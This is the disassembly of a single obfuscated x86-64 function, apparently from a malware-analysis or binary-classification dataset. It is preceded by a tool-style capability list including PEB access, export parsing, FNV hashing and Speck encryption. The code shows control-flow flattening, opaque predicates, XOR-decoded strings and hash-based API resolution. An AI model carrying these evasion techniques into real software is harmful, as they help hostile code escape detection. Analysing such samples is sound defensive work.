Function at 0x1400d3f6e
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using speck
Get number of processors
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x21295872
pushf
not eax
add eax, 0xa5b8b15c
xor eax, 0xa9a7c371
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xeba14ac2
xor eax, 0x8aeca853
rol eax, 0xf7
popf
cmp eax, 0x63
jne 0x1400d3fab
popf
pop rax
jmp 0x1400d8118
cmp eax, 0x48
jne 0x1400d3fba
popf
pop rax
jmp 0x1400d71ab
cmp eax, 0x3f
jne 0x1400d3fc9
popf
pop rax
jmp 0x1400d6d25
cmp eax, 1
jne 0x1400d3fd8
popf
pop rax
jmp 0x1400d488e
cmp eax, 0x4a
jne 0x1400d3fe7
popf
pop rax
jmp 0x1400d73d0
cmp eax, 0x78
jne 0x1400d3ff6
popf
pop rax
jmp 0x1400d8b4b
cmp eax, 0x5d
jne 0x1400d4005
popf
pop rax
jmp 0x1400d7e31
cmp eax, 0x6e
jne 0x1400d4014
popf
pop rax
jmp 0x1400d868b
cmp eax, 0x40
jne 0x1400d4023
popf
pop rax
jmp 0x1400d6dfe
cmp eax, 0x74
jne 0x1400d4032
popf
pop rax
jmp 0x1400d8954
cmp eax, 0x2a
jne 0x1400d4041
popf
pop rax
jmp 0x1400d6053
cmp eax, 0x71
jne 0x1400d4050
popf
pop rax
jmp 0x1400d884d
cmp eax, 0x1c
jne 0x1400d405f
popf
pop rax
jmp 0x1400d57a6
cmp eax, 0x2e
jne 0x1400d406e
popf
pop rax
jmp 0x1400d6345
cmp eax, 0x4c
jne 0x1400d407d
popf
pop rax
jmp 0x1400d754a
cmp eax, 0x2b
jne 0x1400d408c
popf
pop rax
jmp 0x1400d60e9
cmp eax, 0x1b
jne 0x1400d409b
popf
pop rax
jmp 0x1400d576f
cmp eax, 0x6a
jne 0x1400d40aa
popf
pop rax
jmp 0x1400d84b2
cmp eax, 0x23
jne 0x1400d40b9
popf
pop rax
jmp 0x1400d5be5
cmp eax, 0x5b
jne 0x1400d40c8
popf
pop rax
jmp 0x1400d7d3c
cmp eax, 0x43
jne 0x1400d40d7
popf
pop rax
jmp 0x1400d6f6f
cmp eax, 0x13
jne 0x1400d40e6
popf
pop rax
jmp 0x1400d5240
cmp eax, 0x33
jne 0x1400d40f5
popf
pop rax
jmp 0x1400d6693
cmp eax, 0x24
jne 0x1400d4104
popf
pop rax
jmp 0x1400d5c58
cmp eax, 0x1e
jne 0x1400d4113
popf
pop rax
jmp 0x1400d58f5
cmp eax, 0xc
jne 0x1400d4122
popf
pop rax
jmp 0x1400d4ebd
cmp eax, 0x26
jne 0x1400d4131
popf
pop rax
jmp 0x1400d5e23
cmp eax, 0x27
jne 0x1400d4140
popf
pop rax
jmp 0x1400d5eba
cmp eax, 0x30
jne 0x1400d414f
popf
pop rax
jmp 0x1400d6504
cmp eax, 0x10
jne 0x1400d415e
popf
pop rax
jmp 0x1400d50cb
cmp eax, 0x37
jne 0x1400d416d
popf
pop rax
jmp 0x1400d6901
cmp eax, 9
jne 0x1400d417c
popf
pop rax
jmp 0x1400d4ce3
cmp eax, 0x39
jne 0x1400d418b
popf
pop rax
jmp 0x1400d6a10
cmp eax, 0x16
jne 0x1400d419a
popf
pop rax
jmp 0x1400d548b
cmp eax, 0x3b
jne 0x1400d41a9
popf
pop rax
jmp 0x1400d6b45
cmp eax, 0x4b
jne 0x1400d41b8
popf
pop rax
jmp 0x1400d749d
cmp eax, 0x36
jne 0x1400d41c7
popf
pop rax
jmp 0x1400d67f9
cmp eax, 0x14
jne 0x1400d41d6
popf
pop rax
jmp 0x1400d5304
cmp eax, 0x72
jne 0x1400d41e5
popf
pop rax
jmp 0x1400d889a
cmp eax, 0x3d
jne 0x1400d41f4
popf
pop rax
jmp 0x1400d6b98
cmp eax, 0x69
jne 0x1400d4203
popf
pop rax
jmp 0x1400d8409
cmp eax, 0x47
jne 0x1400d4212
popf
pop rax
jmp 0x1400d7153
cmp eax, 0x51
jne 0x1400d4221
popf
pop rax
jmp 0x1400d77d9
cmp eax, 0x11
jne 0x1400d4230
popf
pop rax
jmp 0x1400d512e
cmp eax, 0x35
jne 0x1400d423f
popf
pop rax
jmp 0x1400d67af
cmp eax, 0x68
jne 0x1400d424e
popf
pop rax
jmp 0x1400d83d0
cmp eax, 0x7a
jne 0x1400d425d
popf
pop rax
jmp 0x1400d8bf4
cmp eax, 0x6b
jne 0x1400d426c
popf
pop rax
jmp 0x1400d8564
cmp eax, 0x38
jne 0x1400d427b
popf
pop rax
jmp 0x1400d6948
cmp eax, 0x64
jne 0x1400d428a
popf
pop rax
jmp 0x1400d8163
cmp eax, 0x5c
jne 0x1400d4299
popf
pop rax
jmp 0x1400d7d76
cmp eax, 0x15
jne 0x1400d42a8
popf
pop rax
jmp 0x1400d538d
cmp eax, 5
jne 0x1400d42b7
popf
pop rax
jmp 0x1400d4afc
cmp eax, 6
jne 0x1400d42c6
popf
pop rax
jmp 0x1400d4b8e
cmp eax, 0x5a
jne 0x1400d42d5
popf
pop rax
jmp 0x1400d7cd0
cmp eax, 0x49
jne 0x1400d42e4
popf
pop rax
jmp 0x1400d72c2
cmp eax, 0x1f
jne 0x1400d42f3
popf
pop rax
jmp 0x1400d5997
cmp eax, 4
jne 0x1400d4302
popf
pop rax
jmp 0x1400d4a07
cmp eax, 0x77
jne 0x1400d4311
popf
pop rax
jmp 0x1400d8aed
cmp eax, 0x4d
jne 0x1400d4320
popf
pop rax
jmp 0x1400d7598
cmp eax, 0x55
jne 0x1400d432f
popf
pop rax
jmp 0x1400d79e5
cmp eax, 0x45
jne 0x1400d433e
popf
pop rax
jmp 0x1400d704b
cmp eax, 0x2c
jne 0x1400d434d
popf
pop rax
jmp 0x1400d613c
cmp eax, 0x5f
jne 0x1400d435c
popf
pop rax
jmp 0x1400d7edf
cmp eax, 0x19
jne 0x1400d436b
popf
pop rax
jmp 0x1400d561a
cmp eax, 0x1d
jne 0x1400d437a
popf
pop rax
jmp 0x1400d58c1
cmp eax, 0x61
jne 0x1400d4389
popf
pop rax
jmp 0x1400d8029
cmp eax, 0x53
jne 0x1400d4398
popf
pop rax
jmp 0x1400d78da
cmp eax, 0x4f
jne 0x1400d43a7
popf
pop rax
jmp 0x1400d7672
cmp eax, 0x6c
jne 0x1400d43b6
popf
pop rax
jmp 0x1400d85e0
cmp eax, 7
jne 0x1400d43c5
popf
pop rax
jmp 0x1400d4bdc
cmp eax, 0x20
jne 0x1400d43d4
popf
pop rax
jmp 0x1400d5a28
cmp eax, 0x56
jne 0x1400d43e3
popf
pop rax
jmp 0x1400d7a42
cmp eax, 0x7c
jne 0x1400d43f2
popf
pop rax
jmp 0x1400d8c79
cmp eax, 0xd
jne 0x1400d4401
popf
pop rax
jmp 0x1400d4f7c
cmp eax, 0xa
jne 0x1400d4410
popf
pop rax
jmp 0x1400d4d92
cmp eax, 0x18
jne 0x1400d441f
popf
pop rax
jmp 0x1400d5586
cmp eax, 0x28
jne 0x1400d442e
popf
pop rax
jmp 0x1400d5f72
cmp eax, 0x22
jne 0x1400d443d
popf
pop rax
jmp 0x1400d5af1
cmp eax, 0x50
jne 0x1400d444c
popf
pop rax
jmp 0x1400d770e
cmp eax, 0x52
jne 0x1400d445b
popf
pop rax
jmp 0x1400d783a
cmp eax, 0x41
jne 0x1400d446a
popf
pop rax
jmp 0x1400d6e5c
cmp eax, 0x67
jne 0x1400d4479
popf
pop rax
jmp 0x1400d8396
cmp eax, 0x70
jne 0x1400d4488
popf
pop rax
jmp 0x1400d87ab
cmp eax, 0x29
jne 0x1400d4497
popf
pop rax
jmp 0x1400d5fcf
cmp eax, 0x3e
jne 0x1400d44a6
popf
pop rax
jmp 0x1400d6c66
cmp eax, 0
jne 0x1400d44b5
popf
pop rax
jmp 0x1400d46ef
cmp eax, 0x4e
jne 0x1400d44c4
popf
pop rax
jmp 0x1400d75f4
cmp eax, 0x31
jne 0x1400d44d3
popf
pop rax
jmp 0x1400d655f
cmp eax, 0x62
jne 0x1400d44e2
popf
pop rax
jmp 0x1400d80de
cmp eax, 0x5e
jne 0x1400d44f1
popf
pop rax
jmp 0x1400d7e95
cmp eax, 0x25
jne 0x1400d4500
popf
pop rax
jmp 0x1400d5d5b
cmp eax, 0xf
jne 0x1400d450f
popf
pop rax
jmp 0x1400d5014
cmp eax, 0x7b
jne 0x1400d451e
popf
pop rax
jmp 0x1400d8c2d
cmp eax, 0x75
jne 0x1400d452d
popf
pop rax
jmp 0x1400d8a03
cmp eax, 3
jne 0x1400d453c
popf
pop rax
jmp 0x1400d49bd
cmp eax, 0x6f
jne 0x1400d454b
popf
pop rax
jmp 0x1400d870c
cmp eax, 0x34
jne 0x1400d455a
popf
pop rax
jmp 0x1400d673c
cmp eax, 0x54
jne 0x1400d4569
popf
pop rax
jmp 0x1400d796b
cmp eax, 0x76
jne 0x1400d4578
popf
pop rax
jmp 0x1400d8a91
cmp eax, 0xb
jne 0x1400d4587
popf
pop rax
jmp 0x1400d4dd6
cmp eax, 0x66
jne 0x1400d4596
popf
pop rax
jmp 0x1400d82e1
cmp eax, 0x2d
jne 0x1400d45a5
popf
pop rax
jmp 0x1400d6268
cmp eax, 0xe
jne 0x1400d45b4
popf
pop rax
jmp 0x1400d4fda
cmp eax, 0x3a
jne 0x1400d45c3
popf
pop rax
jmp 0x1400d6aa1
cmp eax, 2
jne 0x1400d45d2
popf
pop rax
jmp 0x1400d48f5
cmp eax, 0x65
jne 0x1400d45e1
popf
pop rax
jmp 0x1400d821b
cmp eax, 0x21
jne 0x1400d45f0
popf
pop rax
jmp 0x1400d5aa6
cmp eax, 0x79
jne 0x1400d45ff
popf
pop rax
jmp 0x1400d8bba
cmp eax, 0x17
jne 0x1400d460e
popf
pop rax
jmp 0x1400d54c0
cmp eax, 0x58
jne 0x1400d461d
popf
pop rax
jmp 0x1400d7b52
cmp eax, 0x46
jne 0x1400d462c
popf
pop rax
jmp 0x1400d70e2
cmp eax, 0x32
jne 0x1400d463b
popf
pop rax
jmp 0x1400d65ff
cmp eax, 0x6d
jne 0x1400d464a
popf
pop rax
jmp 0x1400d8640
cmp eax, 0x60
jne 0x1400d4659
popf
pop rax
jmp 0x1400d7f89
cmp eax, 0x42
jne 0x1400d4668
popf
pop rax
jmp 0x1400d6eeb
cmp eax, 8
jne 0x1400d4677
popf
pop rax
jmp 0x1400d4c61
cmp eax, 0x57
jne 0x1400d4686
popf
pop rax
jmp 0x1400d7aec
cmp eax, 0x59
jne 0x1400d4695
popf
pop rax
jmp 0x1400d7c18
cmp eax, 0x2f
jne 0x1400d46a4
popf
pop rax
jmp 0x1400d63e1
cmp eax, 0x1a
jne 0x1400d46b3
popf
pop rax
jmp 0x1400d56c3
cmp eax, 0x73
jne 0x1400d46c2
popf
pop rax
jmp 0x1400d88d2
cmp eax, 0x12
jne 0x1400d46d1
popf
pop rax
jmp 0x1400d5177
cmp eax, 0x44
jne 0x1400d46e0
popf
pop rax
jmp 0x1400d7014
cmp eax, 0x3c
jne 0x1400d46ef
popf
pop rax
jmp 0x1400d6b90
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbff8]
mov eax, 0x225a37c5
pushf
not eax
add eax, 0xf5006a5d
xor eax, 0xa979c53c
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfa7c22aa
xor eax, 0xc01cc405
rol eax, 0xde
popf
pushf
not eax
add eax, 0x92d2a972
xor eax, 0xf35f5f3e
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xff8194b8
xor eax, 0xc9aa1032
rol eax, 0xb9
popf
call fcn.140109f12
sub rsp, rax
mov r13, r8
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r14b
movsd xmm0, qword [str.RXAYZXWSiR6]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x140032a08]
mov word [rsp + 0x38], cx
movzx eax, byte [0x140032a0a]
mov byte [rsp + 0x30], 0x64
xor byte [rsp + 0x31], 0x37
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor byte [rsp + 0x36], 0x36
xor byte [rsp + 0x37], 0x37
xor cl, 0x36
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x37
xor al, 0x36
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x30]
call fcn.1400690ef
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.14011ee46
movzx eax, word [0x140032338]
mov word [rbp + 0xc058], ax
cmp byte [0x140032339], r14b
je 0x1400d485b
push rax
pushf
mov eax, 0x9b6b8c5
pushf
not eax
add eax, 0x91254b4f
xor eax, 0x8a5c689e
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xdb359095
xor eax, 0x87b52b95
rol eax, 0x17
popf
pushf
not eax
add eax, 0xbcff3231
xor eax, 0xae959594
rol eax, 0xb5
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xcf9d1f26
pushf
not eax
add eax, 0xb86db6c7
xor eax, 0xcaffc49f
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x837f1dfd
xor eax, 0x9fb93395
rol eax, 0x6a
popf
jmp 0x1400d3f9c
mov byte [rbp + 0xc058], 0x7c
xor byte [rbp + 0xc059], 0x37
push rax
pushf
mov eax, 0x6372225c
pushf
not eax
add eax, 0xdce509c3
xor eax, 0xc5d7494d
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9191b2b1
xor eax, 0xcbc62707
rol eax, 2
popf
pushf
not eax
add eax, 0xc7e7f893
xor eax, 0xc25a1bc0
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xf042e4f8
xor eax, 0x8c675fa3
rol eax, 0x88
popf
jmp 0x1400d3f9c
lea rcx, [rbp + 0xc058]
call fcn.1400690ef
mov r8, rax
lea rdx, [rbp + 0xc058]
lea rcx, [rbp - 0x80]
call fcn.14011ee46
mov rdx, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x1400d4964
push rax
pushf
mov eax, 0x7b269cd0
pushf
not eax
add eax, 0x87701274
xor eax, 0xab7c4da2
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xe338f00d
xor eax, 0xc8b0a51e
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb09155c2
xor eax, 0xea6d2c69
rol eax, 0x4b
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x2588c641
pushf
not eax
add eax, 0xdcda7469
xor eax, 0xa56f5c73
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x8a7834c0
xor eax, 0xa4c26b21
rol eax, 0x94
popf
pushf
not eax
add eax, 0xa4bbc044
xor eax, 0x913c0f2a
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xab1e389d
xor eax, 0xf9a61cca
rol eax, 0xa3
popf
jmp 0x1400d3f9c
mov rdx, qword [r13]
push rax
pushf
mov eax, 0x12eefacf
pushf
not eax
add eax, 0xce0e21b4
xor eax, 0xe344db54
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xaf89fa5a
xor eax, 0x90c4efb3
rol eax, 0x56
popf
pushf
not eax
add eax, 0xa2a4f6ec
xor eax, 0xc985cb33
rol eax, 0xf6
popf
jmp 0x1400d3f9c
mov r8, qword [r13 + 0x10]
lea rcx, [rbp - 0x80]
call fcn.14011ee46
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov rdi, qword [rbp - 0x70]
lea rsi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rsi, qword [rbp - 0x80]
movabs rbx, 0x37800000b08b4a8f
pushf
not rbx
add rbx, 0x61063348
xor rbx, 0x5f2a3292
rol rbx, 0xbe
popf
pushf
not rbx
add rbx, 0x5815d0ae
xor rbx, 0x5c442284
rol rbx, 0xd
popf
pushf
not rbx
add rbx, 0x4a522d46
xor rbx, 0x6cc29c76
rol rbx, 0xb2
popf
cmp rdi, rbx
ja 0x1400d4ac9
push rax
pushf
mov eax, 0x926343b8
pushf
not eax
add eax, 0xcb9bdfb2
xor eax, 0xa9919a9e
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x82151fac
xor eax, 0x85ffff7f
rol eax, 0x27
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x7b1b4287
pushf
not eax
add eax, 0xdb1a1a41
xor eax, 0x989761f9
rol eax, 0x12
popf
pushf
not eax
add eax, 0x9906f493
xor eax, 0xc7a3d6ec
rol eax, 0xcc
popf
jmp 0x1400d3f9c
cmp rdi, 0xf
ja 0x1400d4b5b
push rax
pushf
mov eax, 0xa2584069
pushf
not eax
add eax, 0x870c70f7
xor eax, 0xedc642b1
rol eax, 0xba
popf
pushf
not eax
add eax, 0xec4ae059
xor eax, 0xdcd6c8a6
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xece439c7
xor eax, 0xa6a72b4a
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xfeea9bf7
xor eax, 0xf6e8ee27
rol eax, 0x56
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x2e2a3625
pushf
not eax
add eax, 0xe2bca8b9
xor eax, 0xaf16222a
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe7a1b7f1
xor eax, 0xc51bec94
rol eax, 0x59
popf
jmp 0x1400d3f9c
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400d5195
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x1400d4c2e
push rax
pushf
mov eax, 0x3e061dfd
pushf
not eax
add eax, 0xdb5948a5
xor eax, 0xc4eecc24
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x8f30cbbe
xor eax, 0xac7d61a8
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xcc1a2ff0
xor eax, 0xbd593246
rol eax, 0x1d
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xbf167c7d
pushf
not eax
add eax, 0x9cf04bf6
xor eax, 0xe0d6cae4
rol eax, 0x76
popf
pushf
not eax
add eax, 0xea03e80b
xor eax, 0x82f5c449
rol eax, 0x53
popf
jmp 0x1400d3f9c
movabs rax, 0xffffffad8d1b769f
pushf
not rax
add rax, 0x4529f107
xor rax, 0x545a1267
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x4ae019ce
xor rax, 0x40828b40
rol rax, 0xb5
popf
add rax, 0x27
push rax
pushf
mov eax, 0x4afb91a7
pushf
not eax
add eax, 0x9abd6857
xor eax, 0x8c239d65
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd7189495
xor eax, 0xaa258e99
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xca06d887
xor eax, 0xa88b586a
rol eax, 0xe3
popf
jmp 0x1400d3f9c
mov rcx, rax
call fcn.14005ab7f
mov rcx, rax
test rax, rax
je 0x1400d4d39
push rax
pushf
mov eax, 0x4c40f71b
pushf
not eax
add eax, 0xb963a691
xor eax, 0xcdc6bb17
rol eax, 0x31
popf
pushf
not eax
add eax, 0x9b7f621d
xor eax, 0xcdbbab2f
rol eax, 0x45
popf
pushf
not eax
add eax, 0xa8a6db8d
xor eax, 0xc8757815
rol eax, 0x37
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x34c7c0e3
pushf
not eax
add eax, 0x8b7ce484
xor eax, 0xe2565bdd
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd3a48dcd
xor eax, 0xe91a0ebf
rol eax, 2
popf
pushf
not eax
add eax, 0x863f4a20
xor eax, 0x98623c37
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb447204d
xor eax, 0xe95d6158
rol eax, 0xb9
popf
jmp 0x1400d3f9c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400d5177
mov rbx, rax
mov ecx, 0xc657fbc0
pushf
not ecx
add ecx, 0xa3743d16
xor ecx, 0x830b8ea6
rol ecx, 0x18
popf
pushf
not ecx
add ecx, 0x824ab3d1
xor ecx, 0xb5d47ae7
rol ecx, 0x38
popf
pushf
not ecx
add ecx, 0x9f72f0af
xor ecx, 0xe137b7c8
rol ecx, 6
popf
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400d4e64
push rax
pushf
mov eax, 0x405faaf
pushf
not eax
add eax, 0xbd9f92d5
xor eax, 0xd2e07b9d
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xd4c514a8
xor eax, 0x984e3738
rol eax, 0x96
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xbef95100
pushf
not eax
add eax, 0xd1de76fc
xor eax, 0xc90d921c
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xb1bf18be
xor eax, 0xa940426d
rol eax, 0xce
popf
pushf
not eax
add eax, 0xa9607b68
xor eax, 0xd24597ab
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x9fe6b73a
xor eax, 0xd9c8fbe1
rol eax, 0xf1
popf
jmp 0x1400d3f9c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d4f23
push rax
pushf
mov eax, 0x977c149e
pushf
not eax
add eax, 0x87833dc7
xor eax, 0xc372e611
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x840ff404
xor eax, 0xdfc7b8a6
rol eax, 0x22
popf
pushf
not eax
add eax, 0xf3ab58ca
xor eax, 0xbc232687
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xfcf5628b
xor eax, 0xd2e12886
rol eax, 0xbc
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x9f2849da
pushf
not eax
add eax, 0xd5835fd6
xor eax, 0xd82a099c
rol eax, 0x37
popf
pushf
not eax
add eax, 0xa1c8c0a5
xor eax, 0xd5d4a879
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xa1fc6fb2
xor eax, 0xab98a5ea
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd6cdce47
xor eax, 0xb90fbae9
rol eax, 0x99
popf
jmp 0x1400d3f9c
jmp 0x1400d4ce3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400d5072
push rax
pushf
mov eax, 0xd07c37fc
pushf
not eax
add eax, 0xef2afadf
xor eax, 0xd35fa89a
rol eax, 8
popf
pushf
not eax
add eax, 0xe7a88e6b
xor eax, 0x85a44ef4
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8edbbe89
xor eax, 0xf98c12f1
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xa0ae0e18
xor eax, 0xd4ca9b2d
rol eax, 0xb3
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xe68690f9
pushf
not eax
add eax, 0x96dda2bd
xor eax, 0xe27d54ab
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xfa7ae944
xor eax, 0xb4a3a89f
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe93831db
xor eax, 0x862b6626
rol eax, 0x11
popf
pushf
not eax
add eax, 0xda143608
xor eax, 0xa1218fc2
rol eax, 0x77
popf
jmp 0x1400d3f9c
call fcn.14005ab7f
jmp 0x1400d5177
mov rax, r14
push rax
pushf
mov eax, 0xbe4e501a
pushf
not eax
add eax, 0xcca2f8de
xor eax, 0xf622e1dd
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xecc13f24
xor eax, 0xba23b5af
rol eax, 0x50
popf
pushf
not eax
add eax, 0x9f270fc2
xor eax, 0xc84c7603
rol eax, 0xc
popf
jmp 0x1400d3f9c
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.140051c00
nop
mov r10, qword [0x140040370]
test r10, r10
jne 0x1400d51e7
push rax
pushf
mov eax, 0x709ddc21
pushf
not eax
add eax, 0xaa0e24a3
xor eax, 0xbe89d18b
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xd856c855
xor eax, 0xcdceddbb
rol eax, 0xd8
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x5122d618
pushf
not eax
add eax, 0x983fdbe2
xor eax, 0xc86018b0
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xda36b37a
xor eax, 0x84f3e7c9
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x91ec384f
xor eax, 0xe71341fa
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xe7e7e061
xor eax, 0xb837f475
rol eax, 0x22
popf
jmp 0x1400d3f9c
mov ebx, r14d
mov r11d, 0xe545d888
pushf
not r11d
add r11d, 0xb89879f8
xor r11d, 0xb6ccb8df
rol r11d, 0xd6
popf
pushf
not r11d
add r11d, 0xeb4664d8
xor r11d, 0x9d7931aa
rol r11d, 0x13
popf
pushf
not r11d
add r11d, 0xbd68bcf9
xor r11d, 0xe0efda1d
rol r11d, 0xc2
popf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
push rax
pushf
mov eax, 0x18863d7b
pushf
not eax
add eax, 0x91fb4976
xor eax, 0xd5c8ccec
rol eax, 0xe9
popf
pushf
not eax
add eax, 0x83966e8d
xor eax, 0xb371666c
rol eax, 0x95
popf
pushf
not eax
add eax, 0xe9d435ab
xor eax, 0xd4a0e6b7
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb41ab554
xor eax, 0x93e8cbd7
rol eax, 0x74
popf
jmp 0x1400d3f9c
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebx, ebx
je 0x1400d535a
push rax
pushf
mov eax, 0x50c87766
pushf
not eax
add eax, 0xde07acf8
xor eax, 0xec1490ab
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd0e7faae
xor eax, 0xe34c227b
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xaf7f4f49
xor eax, 0xcedd76d2
rol eax, 0xe
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xdf261e64
pushf
not eax
add eax, 0x9843479a
xor eax, 0xaac117cd
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc1254d49
xor eax, 0xfd07cc0b
rol eax, 0xef
popf
jmp 0x1400d3f9c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x1d8f7c6c
pushf
not edx
add edx, 0xeab2bd64
xor edx, 0xaeac8689
rol edx, 0xd3
popf
pushf
not edx
add edx, 0xf3c3a661
xor edx, 0xa1fc8719
rol edx, 0x12
popf
pushf
not edx
add edx, 0x876016d4
xor edx, 0x833bbccf
rol edx, 0x65
popf
pushf
not edx
add edx, 0x8153f953
xor edx, 0xc8966eea
rol edx, 0xc8
popf
cmp rcx, r8
je 0x1400d5432
push rax
pushf
mov eax, 0x8d030ca9
pushf
not eax
add eax, 0xf9b7a048
xor eax, 0xb537f11b
rol eax, 0x99
popf
pushf
not eax
add eax, 0xc877c02a
xor eax, 0xbcc4b804
rol eax, 0x9c
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xbef825ab
pushf
not eax
add eax, 0xbccb7036
xor eax, 0xa005f06c
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x9721214e
xor eax, 0xdbdd95cf
rol eax, 0xa
popf
pushf
not eax
add eax, 0xfc210b61
xor eax, 0xaba10f07
rol eax, 0xed
popf
pushf
not eax
add eax, 0xa96e76d0
xor eax, 0xd35851c8
rol eax, 0x6b
popf
jmp 0x1400d3f9c
nop
push rax
pushf
mov eax, 0xa7e7390a
pushf
not eax
add eax, 0xcf210b5c
xor eax, 0x880f4f0d
rol eax, 0x45
popf
pushf
not eax
add eax, 0xd8eb03fa
xor eax, 0xf2177664
rol eax, 0x77
popf
jmp 0x1400d3f9c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400d552d
push rax
pushf
mov eax, 0x68ef6638
pushf
not eax
add eax, 0xcf11f302
xor eax, 0x856729a1
rol eax, 0x31
popf
pushf
not eax
add eax, 0xf8b6aaf3
xor eax, 0xe6b6a1cf
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x817c5974
xor eax, 0xd3923c7e
rol eax, 0x78
popf
pushf
not eax
add eax, 0xabfe1e78
xor eax, 0x97217cdf
rol eax, 0x70
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xac856c0c
pushf
not eax
add eax, 0x81a7c90a
xor eax, 0xeb893c07
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xb8558af0
xor eax, 0xf97f44de
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa0d92d96
xor eax, 0x827f1373
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xe35d7074
xor eax, 0xf8a2efeb
rol eax, 0xb5
popf
jmp 0x1400d3f9c
cmp edx, ebx
jne 0x1400d55d4
push rax
pushf
mov eax, 0x83a8e8a
pushf
not eax
add eax, 0xcbc0ea84
